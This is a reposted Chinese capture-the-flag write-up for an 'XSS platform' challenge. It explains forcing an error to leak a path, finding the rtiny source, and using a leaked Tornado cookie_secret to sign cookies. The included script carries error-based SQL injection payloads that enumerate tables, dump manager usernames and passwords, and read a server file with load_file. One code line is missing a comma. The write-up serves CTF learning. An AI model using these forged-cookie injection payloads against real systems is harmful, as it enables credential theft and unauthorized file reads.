i春秋xss平台


 

點開是個普普通通的登錄窗口,沒有注冊,只有登錄,抓住包也沒獲取什么有用的信息,看了看dalaowp才知道怎么做,首先抓包然后修改參數的定義來讓其報錯,pass原本的應該為整數,pass[]=就可以讓其定義成數組變量,造成報錯

 

 

爆出一條文件路徑

 

 

直接訪問試試

什么鬼。。。。看來沒什么東西

找到關鍵字rtiny

github搜一下

 

 

 

 

聯想題目是xss平台,可能有關,點進去看看

 

 

有許許多多的py文件

一一查看就會發現在lock.py中就會有sql注入的點

 

 

不過其username是經過函數self.get_secure_cookie的,這里又是組合的一套代碼,所以我們直接去找找看其他文件,看有沒有定義self.get_secure_cookie函數的

最終在index.py中找到cookie加密鑰匙

 

 

根據這個密鑰寫出我們的cookie_secret加密函數

 

# coding:utf-8
import tornado.ioloop
import tornado.web 
# @author: V0W
# @reference: https://blog.csdn.net/include_heqile/article/details/82591707

settings = { 
   "cookie_secret" : "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
}

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("Hello")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select version()))) -- ")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- ")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")
        self.set_secure_cookie("username""' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")
        self.write(self.get_secure_cookie("username"))

def make_app():
    return tornado.web.Application([
        (r"/index", MainHandler),
        ], **settings)

if __name__ == "__main__":
    app = make_app()
    app.listen(8089)
    tornado.ioloop.IOLoop.instance().start()

 

(這個py程序需要安裝pytornado.ioloop,安裝指令python -m pip install tornado)然后運行此py程序后不會有回顯,需要保持py運行然后去訪問本地網頁127.0.0.1:8089/index(監聽的哪個端口就跟哪個端口就行了,這里是8089)

 

 

再查看網頁cookie中的username值就是cookie_secret加密過后的值。

 

 

將其通過bp進行注入即可得到usernamepassword,再登錄xss平台得到提示flagf13g_ls_here.txt(期間注釋的5句就是依次的爆版本,爆表名,爆列名,爆用戶名和密碼,爆文件內容)再爆文件就是flag了,由於這里做了長度限制,所以flag需要分兩步爆出來

 

 

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM